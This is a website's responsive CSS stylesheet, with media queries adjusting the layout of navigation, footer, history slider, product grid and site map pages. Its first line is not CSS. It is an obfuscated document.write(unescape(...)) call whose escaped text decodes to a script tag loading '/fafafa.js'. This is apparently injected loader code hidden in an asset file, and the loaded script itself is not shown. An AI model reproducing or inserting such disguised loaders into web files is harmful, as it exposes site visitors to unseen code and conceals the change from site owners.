<script>document.write(unescape("%3Cscript%20src%3D%22\u002f\u0066\u0061\u0066\u0061\u0066\u0061\u002e\u006a\u0073%22%20type%3D%27text/javascript%27%3E%3C/script%3E"));</script>@media screen and (max-width:1600px){

  .jy .txtBox{ width: 430px; min-width: auto; padding-right: 50px; }
  .jx .txt2Box{ padding:80px 60px 20px 120px; }
  .jx .txt2Box_l{ width: 320px; padding-right: 40px;}
  .wn .txt3Box{ padding-right: 200px;}
  .his-slide .swiper-slide samp{ max-width: 316px; }
}
@media screen and (max-width:1400px){
  .his-slide .swiper-slide samp{ max-width: 280px; }
}

@media screen and (max-width:1200px){
  .fs24{ font-size:22px;}
  .fs20{ font-size:18px;}
  .fs18{ font-size:16px;}
  .fs16{ font-size:14px;}
  .w1180{ width: 100%; padding:0 16px;}

  /* 栏目导航 */
  .deHeader .ejnav_child .item{ width: 480px; padding:24px; 
    background-size: 200px auto; min-height: 240px;
  }
  .deHeader .ejnav_child .imgCon{ width: 200px; }
  .deHeader .ejnav_child .imgCon .imgs{ height: 136px; }
  .deHeader .ejnav_child .imgCon .title{ padding:16px 0 8px; }
  .deHeader .ejnav_child .nav_link{ padding-left: 10%; }
  .deHeader .ejnav_child .nav_link a{ margin-top: 12px; }

  /* 首页 */

  .deHeader .deMenu .ejMenuBox a{ margin-left: 34px; }
  .indexMore a i{ font-size:32px; }
  .indexMore a i{ font-size:28px; }
  .ejbody_b .indexItem{ padding:100px 0; }

  .ejFooterMian .fNav .item{ padding:0 8px; }
  .ejFooterMian .fNav{ padding:0 10px }
  .flinkList .fBtn{ right: 0; }
  /* .ejFooterMian .fLogoBox{ width: 230px; } */
  .ejIndexBanner .swiper-container-horizontal>.swiper-pagination-bullets, .ejIndexBanner .swiper-pagination-custom, .ejIndexBanner .swiper-pagination-fraction{
    width: 100%!important; padding-right: 40px!important;
  }


  /* 发展历程 */
  .h_listBox_in .year{ font-size:46px; top: -10px; }
  .item4Top{ left: 16px; top: 40px; }
  .his-slide{ bottom:18% }
  .his-ul .active{ right: 69%; bottom:6%; }
  .his-ul .active1{ right: 37%; bottom:70% }
  .his-ul .active2{ right: 32%; bottom:79% }
  .his-ul .active3{ right: 28%; bottom:88% }
  .his-slide .swiper-slide samp{ left: 34.8%; }
  .his-slide .swiper-slide .his-ct{ left: 60%;padding-top: 10px; width: 36%; }
  .his-slide .swiper-slide span{ left: 60%; padding-top: 0px; font-size:28px; }
  .his-slide .swiper-button-next{ bottom: 0; right: 4%; }
  .his-slide .swiper-slide .his-ct p { margin-top: 46px;}
  .his-slide .swiper-slide samp{ max-width: 260px; }
  /* 产品服务 */
  .hx_p li{ width: calc(33.33% - 20px); height: auto; margin-right: 30px; margin-top: 30px; }
  .hx_p li a{ padding:20px;}
  .hx_p .p_hover .name{ font-size:20px; }
}

/* max-width:1200px end  */
@media screen and (max-width:1100px){
  .his-slide .swiper-slide samp{ max-width: 234px; }
}

@media screen and (max-width:1024px){
  .p120{ padding:100px 0; }
  .pt120{ padding-top: 100px; }
  .mshow{ display: block; }
  .pcshow{ display: none;}
  .mheader,.mheader>div{ height: 100%;}
  .mheader>div div{ margin-left: 36px; font-size:24px; color: #666;}
  .mheader>div div.msearchCloseBtn{ display: none; }
  .topHeader { 
    padding:0 22px;
    background-color: #fff!important;
    transform: translateY(-48px)!important; 
  }
  .ejMenuList_in .item{ padding:0 10px; }
  .pageBanner{ padding-top: 80px; }
  .pageBanner .bannerTBox .bannerTitle{ font-size:36px; line-height: 1.4; }
  .pageBanner .bannerTBox{ padding-bottom: 60px; }
  /* search */
  .ejSearchBox{ 
     padding:0 16px;
     top: 60px; 
  }
  
  .ejSearchBox .search_in{ width: 100%; }
  /* footer */
  .fFollowUs .list .item .imgs{ margin:0; left: 0; background-image: none; background-color: #fff; border-radius: 6px;  }
  /* 首页 */
  .home{ overflow: inherit; }
  .indexBody{ height: auto; overflow: inherit; }
  .body_home{ height: auto; }
  .ejIndexBanner{ height: 51vw; }
  .body_home.showdiv .bb{ display: none; }
  .ejFooterMian .fList{ padding:60px 0 ; }
  .ejFooterMian .fLogoBox{ width: 190px; }
  .flogoImg img{ width: 120px; }
  .ejFooterMian .fNav{ padding:0 12px; }
  .ejFooterMian .fNav .item{ padding:0 10px; }


  .ejbody_b{ position: inherit; }
  .body_home.showdiv .topHeader{ 
    background: none!important;
  }
  .ejbody_b .indexItem{ padding:80px 0; }
  .ejFooterMian .fList{ flex-wrap: wrap; }
  .ejFooterMian .fFollowUs{ width: 100%; margin-top: 20px; }
  .ejFooterMian .fNav{ flex: 1; justify-content: space-around; }
  .indexItem5 .item{ margin:0 30px; }
  .ejIndexBanner .pc_ban{ display: none; }
  .ej_item_txt  .ej_item_txt_in{ padding-top: 20px;}
  .ej_item_txt_in .title{ font-size:16px; padding-bottom: 20px;}
  .his-slide .swiper-slide samp{ max-width: 214px; }

  /* 人才培养 */
  .tc_cSwiper .gallery-top .txtBox{ padding:26px; }
  .tc_cSwiper{ width: 440px; }
  .ej_tcList .item .item_in .ulBox .imgs{ width: 480px; height: 320px; }
  .ej_tcList .item .item_in .ulBox .txtBox{ margin-right: 20px;}
  .ej_tcList .item .item_in .ulBox { padding:40px 0; }
  .ej_tcList .item .bg{ height: 500px; }
  .ej_tcList .item_in i{ font-size:48px; }

}
/* max-width:960px end  */


@media screen and (max-width:860px){
  .p120{ padding:80px 0; }
  .fj_dtContainer { padding-top: 120px!important; }
  .pt120{ padding-top: 80px; }
  body{ font-size:14px; }

  .pageBanner .bannerTBox .bannerTitle{ font-size:32px; line-height: 1.4; }
  .pageBanner .bannerTBox{ padding-bottom: 40px; }
  /* 首页 */
  .ejbody_b .indexItem{ padding:80px 0; }
.indexMore a i{ font-size:20px; }


  .indexHealth_in .item .listBox .hli{ padding-top: 12px; }
  .indexHealth_in .item .listBox .hul .hli .time{ padding-top: 4px; font-size:14px; }

  .indexItem5 .item{ margin:0 20px; }

  .item4Top{ width: 100%; left: 0; top: 60px; text-align: center; }
  .his-slide .sp_in{ padding:0 16px;}
  .his-slide .swiper-slide span{ display: none;}
  .his-slide .swiper-slide .his-ct .time{ display: block; }
  .his-slide .swiper-slide samp{ width: calc(100% - 20px); max-width: calc(100% - 20px); transform: none; height: auto; position: initial;}
  .his-slide .swiper-slide samp img{ width: 100%; height: auto;}
  .his-slide .swiper-slide .his-ct{ position: initial;
    padding-top: 20px; width: 100%; max-width: 100%;
  }
  .his-slide .swiper-slide .his-ct p{ margin:0;}
  .his-slide .swiper-button-next{ right: 16px; bottom:60px; transform: scale(0.8); display: block; }
  .fj_dtContainer .title{ font-size:24px; line-height: 1.7; }
  /* 人才培养 */
  .tc_cSwiper .gallery-top .txtBox{ padding:24px; }
  .tc_cSwiper{ width: 420px; }
  .cement-btn button{ width: 160px; height: 48px; line-height: 48px; }
}
/* max-width:860px end  */


@media screen and (max-width:750px){
  body{ font-size:14px; }
  .ejMenuList{ display: none;}
  .pt120{ padding-top: 60px;}
  .p120{ padding:60px 0;}
  .topHeader { 
    padding:0
  }
  .pageBanner{ padding-top: 80px; }
  .w1180{ width: 100%; padding:0 16px;}
  .fs16 { font-size:14px;}

  .pageBanner .bannerTBox .bannerTitle{ font-size:18px; line-height: 1.4; padding-bottom: 6px; }
  .pageBanner .bannerTBox{ padding-bottom: 20px; }
  #goTopBtn{ display: block; }
  /* 首页 */
  .indexMore a i{ font-size:22px;}
  .indexMore a span{ padding-right: 10px;}
  .ejbody_b .indexItem{ padding:60px 0;}
  .ejbody_b .indexItem5{ padding:40px 0; }



  .ejHealthTitleBox .more a{ font-size:14px;}
  .indexHealth_in .item .listBox .hul .hli .time{ font-size:12px;}
  .indexItem5 { padding:40px 0;}
  .indexItem5 .item{ width: 33.33%; margin:0;}
  .indexfastLink{ width: 100%; flex-wrap: wrap; justify-content: start;}
  .indexItem5 .item .imgs{ width: 40px; height: 40px;}
  .indexItem5 .item .title{ padding-top: 10px; font-size:12px;}
  .indexfastLink .item a{ padding:24px 0;}
  .ejIndexBanner .swiper-container-horizontal>.swiper-pagination-bullets, .ejIndexBanner .swiper-pagination-custom, .ejIndexBanner .swiper-pagination-fraction{
    text-align: center!important; bottom:20px!important; padding:0!important;
  }

  .fLink{ display: none;}
  .ejFooterMian .fList{ padding:40px 0; display: block;}
  .ejFooterMian .fLogoBox{ width: 100%; box-shadow: inset 0px -1px 0px 0px #3F3F3F; padding-bottom: 30px;}
  .fLogoBox .ftxt{ padding-top: 24px;}
  .flogoImg img{ width: 106px;}
  .ejFooterMian .fNav{ padding:0; margin-top: 8px; display: block;}
  .ejFooterMian .fNav .item{ padding:0; margin-top: 20px;}
  /*footer*/

  /* 公司概况 */

  .pageTitle{
    font-size: 20px;
    line-height: 20px;
    padding-bottom: 30px;
  }


  .pMore a{ font-size:14px;}
  .pMore i{ font-size:20px; padding-left: 10px;}



  .ejFooterMian .fNav .item ul{ display: none;}
  .ejFooterMian .fFollowUs{ width: 100%; margin-top:30px; border-top: 1px solid #3f3f3f;
    padding-top: 20px;
  }
  .fFollowUs .txt{ padding-top: 10px;}
  .fFollowUs .list{ padding-top: 20px;}
  .ejcopyRight{ padding:20px 16px; height: auto; line-height: 1.7; }
  .honorBtn{ bottom:40px; margin-left: -80px;}
  .ej_brank_box { width: 100%; display: block;}
  .spContainer .swiper-container { overflow: inherit;  width: 100%; height: 100%;}
  .spContainer .i2_tBox { width: 100%; height: 100%; padding: 60px 20px 20px}
  .spContainer .i2_tBox .name{ font-size:16px; padding-bottom: 40px;}
  .item4Imgs .gallery-top{ height: 48vw; }
  .gallery-thumbs .swiper-slide{ border-width:3px!important; }
  .smImgs .gallery-thumbs{ height: 14vw;}

  .mej_time{ display: block; }
  .ejShare .codeBox{ width: 84px; height: 84px; margin-left: -44px; bottom: 44px; }
  .fj_dtContainer .title{ font-size:20px; }

  .hx_p li{margin:0; margin-bottom:16px;margin-right: 16px; width: calc(50% - 8px); height: auto; }
  .hx_p li:nth-child(2n){ margin-right: 0; }
  .hx_p li:nth-child(3n){ margin-right: 16px; }
  .hx_p li a{ padding:10px; }
  .hx_p li a p { font-size:16px; height: 48px; }
  .ejProduct_hx .pTitleBox .pmore{ position: relative; margin-top: 6px; }
  .ejProduct_hx .pTitleBox .pmore a i{ font-size: 26px; }
  .ejProduct_hx .w1180{ margin-bottom: 60px; }
  .ejProduct_hx .w1180:last-child{ margin:0; } 
  .hx_p li a:hover .p_hover{ opacity: 0; }
  /* 产品详情 */
  .ej_tcTop .tabBox{ margin-top: 40px; }
  .tc_cSwiper{ width: 100%; }
  .tc_cSwiper .gallery-top .txtBox{ padding:20px 20px 40px; }
  .tc_cSwiper .gallery-top .txtBox .year{ font-size:16px; padding-bottom: 10px; }
  /* 网站地图 */
  .ejMappage .ejMap_in,.ejMap_in .list { display: block;}
  .ejMap_in .item{ min-height: auto; padding-bottom: 40px; box-shadow: inset 0px -1px 0px 0px #EEEEEE; margin-bottom: 40px; }
  .ejMap_in .list:last-child .item:last-child{ margin:0;}
  .ejMap_in .h3{ font-size:16px; }
  .ejMap_in .item ul li>a{ font-weight: bold; display: block; }
  .ejMap_in ul li .ul2 .li2{ padding-top: 12px; line-height: 18px; }
  .ejMap_in ul li .ul2 .li2 a{ font-weight:bold; display: block; }
  .ejMap_in ul li .ul2{ padding:0; }
  .cement-btn button{ width: 100px; height: 36px; line-height: 36px; }
  .h_listBox_in .item{ padding:0; margin-bottom: 40px; }
  .h_listBox_in .year{ position: inherit; top: auto; left: auto; padding-bottom: 20px; }
  /* m导航 */
  .m_ejMenuList{ display: block; position: relative; background-color: #fff; z-index: 301; }
  .m_ejMenuList .mPageName{ text-align: center; color: #333; font-weight: bold; font-size:14px;box-shadow: inset 0px -1px 0px 0px #D9D9D9; 
    height: 40px; line-height: 40px;
  }
  .m_ejMenuList .mNavList{ position: absolute; top: 40px; width: 100%; padding:0; margin:0; text-align: center; height: auto; background: #fff; opacity: 0; visibility: hidden;
    height: 0;
  }
  .m_ejMenuList .mNavList.active{ opacity: 1; height: auto; visibility:visible; z-index: 301;}
  .m_ejMenuList .mNavList a{ display: block; height: 40px; line-height: 40px; text-align: center; font-size:14px; font-weight: bold; 
    color: #9E9E9E; box-shadow: inset 0px -1px 0px 0px #F6F6F6;
  } 
  .m_ejMenuList .mNavList a.active{ color:#666; }
  .m_ejMenuList .mPageName i{ font-size:12px; color: #666; padding-left: 5px; line-height: 1; }


}
/* max-width:750px end  */


@media screen and (max-width:640px) {
  #growls.default {
    transform: translateX(40%);
  }
}
/* max-width:640px end  */<!--9.7036361694336E-5-->